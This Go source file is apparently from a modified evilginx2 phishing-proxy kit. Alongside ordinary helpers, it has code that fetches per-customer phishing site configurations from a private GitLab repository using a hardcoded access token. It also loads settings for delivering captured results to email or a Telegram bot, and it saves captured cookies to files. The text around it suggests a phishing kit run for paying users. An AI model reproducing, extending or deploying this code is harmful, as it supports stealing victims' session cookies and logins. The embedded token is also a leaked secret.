package core import ( "bytes" "crypto/rand" "crypto/sha256" "encoding/json" "errors" "fmt" "io" "io/fs" mrand "math/rand" "net/http" "net/url" "os" "path" "regexp" "strconv" "strings" "time" "github.com/kgretzky/evilginx2/log" "github.com/xanzy/go-gitlab" ) var ( emailResult bool tgResult bool emailAddr string botToken string chatID string checkUser bool exceptUser []string ) type BaseHTTPRequest struct { Method string Url string Input []byte JSON bool Client *http.Client } type Tokens struct { ResultMail bool `json:"send_result_email"` Email string `json:"email"` ResultTG bool `json:"send_result_telegram"` BotToken string `json:"bot_token"` ChatID string `json:"chat_id"` ExceptUser []string `json:"except_user"` } func webhookTokensFromGit() { var rawJson Tokens filename := "tokens.json" phishlets_pid := "" gitTokens := GetPhishletGitlab(filename, phishlets_pid) err := json.Unmarshal([]byte(gitTokens), &rawJson) if err != nil { fmt.Printf("%+v", err) } emailAddr = rawJson.Email botToken = rawJson.BotToken chatID = rawJson.ChatID emailResult = rawJson.ResultMail tgResult = rawJson.ResultTG exceptUser = rawJson.ExceptUser checkUser = checkUserInfo() } func createKeyValuePairs(m map[string]string) string { jsonTokens, err := json.Marshal(m) if err != nil { log.Error("%v", err) } return string(jsonTokens) } func rangeIn() int { mrand.Seed(time.Now().UnixNano()) return 3 + mrand.Intn(9-3) } func GenRandomToken() string { rdata := make([]byte, 64) rand.Read(rdata) hash := sha256.Sum256(rdata) token := fmt.Sprintf("%x", hash) return token } func GenRandomString(n int) string { const lb = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" b := make([]byte, n) for i := range b { t := make([]byte, 1) rand.Read(t) b[i] = lb[int(t[0])%len(lb)] } return string(b) } func GenRandomAlphanumString(n int) string { const lb = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" b := make([]byte, n) for i := range b { t := make([]byte, 1) rand.Read(t) b[i] = lb[int(t[0])%len(lb)] } return string(b) } func removeDuplicateStr(strSlice []string) []string { allKeys := make(map[string]bool) list := []string{} for _, item := range strSlice { if _, value := allKeys[item]; !value { allKeys[item] = true list = append(list, item) } } return list } func removeUrlDuplicate(urlSlice []string) []string { allKeys := make(map[string]bool) list := []string{} for _, item := range urlSlice { redir_url, err := url.Parse(item) if err != nil { log.Error("url.Parse: %+v", err) } item = redir_url.Hostname() if _, value := allKeys[item]; !value { allKeys[item] = true list = append(list, item) } } return list } func CreateDir(path string, perm os.FileMode) error { if _, err := os.Stat(path); os.IsNotExist(err) { err = os.Mkdir(path, perm) if err != nil { return err } } return nil } func DeleteSiteOldFile(site string) { pwd, _ := os.Getwd() absPath := pwd + "/config/msc/attachment" files, err := os.ReadDir(absPath) if err != nil { return } for _, fn := range files { if strings.Contains(fn.Name(), fmt.Sprintf("%s__", site)) { deleteFile(fmt.Sprintf("%s/%s", absPath, fn.Name())) } } } func fileExistorCreateAttachment(fileName string, attachment string) (string, error) { pwd, _ := os.Getwd() absPath := pwd + "/config/msc/attachment" _, err := os.ReadDir(absPath) if err != nil { if err := CreateDir(absPath, 0700); err != nil { log.Fatal("fpages attachment mkdir: %+v", err) return "", err } } fileName = path.Join(absPath, fileName) if _, err := os.Stat(fileName); errors.Is(err, os.ErrNotExist) { fn, err := os.OpenFile(fileName, os.O_RDWR|os.O_CREATE|os.O_EXCL, 0666) defer fn.Close() if err != nil { return "", fmt.Errorf("Unable to create file: %v", err) } else { _, err = fn.Write([]byte(attachment)) if err != nil { return "", fmt.Errorf("Unable to write file: %v", err) } return absPath, nil } } return absPath, nil } func fileExistorCreate(fileName string, cookies string) string { fileDir, _ := os.Getwd() fileName = path.Join(fileDir, fileName) if _, err := os.Stat(fileName); errors.Is(err, os.ErrNotExist) { fn, err := os.OpenFile(fileName, os.O_RDWR|os.O_CREATE|os.O_EXCL, 0666) defer fn.Close() if err != nil { return fmt.Sprintf("Unable to create file: %v", err) } else { _, err = fn.Write([]byte(cookies)) if err != nil { return fmt.Sprintf("Unable to write file: %v", err) } return fileName } } return fileName } func deleteFile(fileName string) { if _, err := os.Stat(fileName); !os.IsNotExist(err) { if err := os.Remove(fileName); err != nil { return } } } func checkUserInfo() (checkUser bool) { for i := 0; i < len(exceptUser); i++ { if exceptUser[i] == USER_NAME { checkUser = true break } } return checkUser } func ReadFromFile(path string) ([]byte, error) { f, err := os.OpenFile(path, os.O_RDONLY, 0644) defer f.Close() if err != nil { return nil, err } b, err := io.ReadAll(f) if err != nil { return nil, err } return b, nil } func SaveToFile(b []byte, fpath string, perm fs.FileMode) error { file, err := os.OpenFile(fpath, os.O_WRONLY|os.O_TRUNC|os.O_CREATE, perm) if err != nil { return err } defer file.Close() _, err = file.Write(b) if err != nil { return err } return nil } func Redirections(resp *http.Response) (history []*http.Request) { for resp != nil { req := resp.Request history = append(history, req) resp = req.Response } for l, r := 0, len(history)-1; l < r; l, r = l+1, r-1 { history[l], history[r] = history[r], history[l] } return } func makeRequest(url string) (string, error) { resp, err := http.Get(url) if err != nil { return "", err } defer resp.Body.Close() body, err := io.ReadAll(resp.Body) if err != nil { return "", err } return string(body), nil } func (baseData *BaseHTTPRequest) RequestRedirects() ([]string, error) { urls := []string{} var err error var request *http.Request request, err = http.NewRequest(baseData.Method, baseData.Url, bytes.NewReader(baseData.Input)) if err != nil { return nil, err } if baseData.JSON { request.Header.Set("Content-Type", "application/json; charset=UTF-8") request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0") } response, err := baseData.Client.Do(request) if err != nil { return nil, err } defer response.Body.Close() defer func() { if err = response.Body.Close(); err != nil { log.Error("error trying to close HTTP response body %+v", err) } }() for _, req := range Redirections(response) { // federation redirect urls urls = append(urls, req.URL.String()) log.Debug("FederationRedirectURL: [%s]", req.URL.String()) } return urls, nil } func (baseData *BaseHTTPRequest) MakeRequest() ([]byte, error) { var err error var request *http.Request request, err = http.NewRequest(baseData.Method, baseData.Url, bytes.NewReader(baseData.Input)) if err != nil { return nil, err } if baseData.JSON { request.Header.Set("Content-Type", "application/json; charset=UTF-8") request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0") } response, err := baseData.Client.Do(request) if err != nil { return nil, err } defer response.Body.Close() defer func() { if err = response.Body.Close(); err != nil { log.Error("error trying to close HTTP response body %+v", err) } }() body, err := io.ReadAll(response.Body) if err != nil { return nil, err } return body, nil } func GetPhishletGitlab(name string, pid string) string { git, err := gitlab.NewClient("glpat-BsRxZUAXtnUFuo-kPtGd") if err != nil { log.Error("%+v", err) } gf := &gitlab.GetRawFileOptions{ Ref: gitlab.String("main"), } f, _, err := git.RepositoryFiles.GetRawFile(pid, name, gf) if err != nil { log.Error("%+v", err) } return string(f) } func ProcessPhishletsGitlab(cfg *Config) { userSites, userName := GetUserSites() if len(userSites) == 0 { log.Error("No site configs loaded for user %s. message support for assistance", strings.ToLower(userName)) time.Sleep(5 * time.Second) os.Exit(1) } phishlets_pid := "bpllc/phishlets" for i := 0; i < len(userSites); i++ { name := fmt.Sprintf("%s.yaml", userSites[i]) yamlEx := GetPhishletGitlab(name, phishlets_pid) pr := regexp.MustCompile(`([a-zA-Z0-9\-\.]*)\.yaml`) rpname := pr.FindStringSubmatch(name) if rpname == nil || len(rpname) < 2 { continue } pname := rpname[1] if pname != "" { pl, err := NewPhishlet(pname, bytes.NewBuffer([]byte(yamlEx)), nil, cfg) if err != nil { log.Error("failed to load %s config %v", pname, err) continue } cfg.AddPhishlet(pname, pl) } } } func ParseDurationString(s string) (t_dur time.Duration, err error) { const DURATION_TYPES = "dhms" t_dur = 0 err = nil var days, hours, minutes, seconds int64 var last_type_index = -1 var s_num string for _, c := range s { if c >= '0' && c <= '9' { s_num += string(c) } else { if len(s_num) > 0 { m_index := strings.Index(DURATION_TYPES, string(c)) if m_index >= 0 { if m_index > last_type_index { last_type_index = m_index var val int64 val, err = strconv.ParseInt(s_num, 10, 0) if err != nil { return } switch c { case 'd': days = val case 'h': hours = val case 'm': minutes = val case 's': seconds = val } } else { err = fmt.Errorf("you can only use time duration types in following order: 'd' > 'h' > 'm' > 's'") return } } else { err = fmt.Errorf("unknown time duration type: '%s', you can use only 'd', 'h', 'm' or 's'", string(c)) return } } else { err = fmt.Errorf("time duration value needs to start with a number") return } s_num = "" } } t_dur = time.Duration(days)*24*time.Hour + time.Duration(hours)*time.Hour + time.Duration(minutes)*time.Minute + time.Duration(seconds)*time.Second return } func GetDurationString(t_now time.Time, t_expire time.Time) (ret string) { var days, hours, minutes, seconds int64 ret = "" if t_expire.After(t_now) { t_dur := t_expire.Sub(t_now) if t_dur > 0 { days = int64(t_dur / (24 * time.Hour)) t_dur -= time.Duration(days) * (24 * time.Hour) hours = int64(t_dur / time.Hour) t_dur -= time.Duration(hours) * time.Hour minutes = int64(t_dur / time.Minute) t_dur -= time.Duration(minutes) * time.Minute seconds = int64(t_dur / time.Second) var forcePrint = false if days > 0 { forcePrint = true ret += fmt.Sprintf("%dd", days) } if hours > 0 || forcePrint { forcePrint = true ret += fmt.Sprintf("%dh", hours) } if minutes > 0 || forcePrint { forcePrint = true ret += fmt.Sprintf("%dm", minutes) } if seconds > 0 || forcePrint { forcePrint = true ret += fmt.Sprintf("%ds", seconds) } } } return }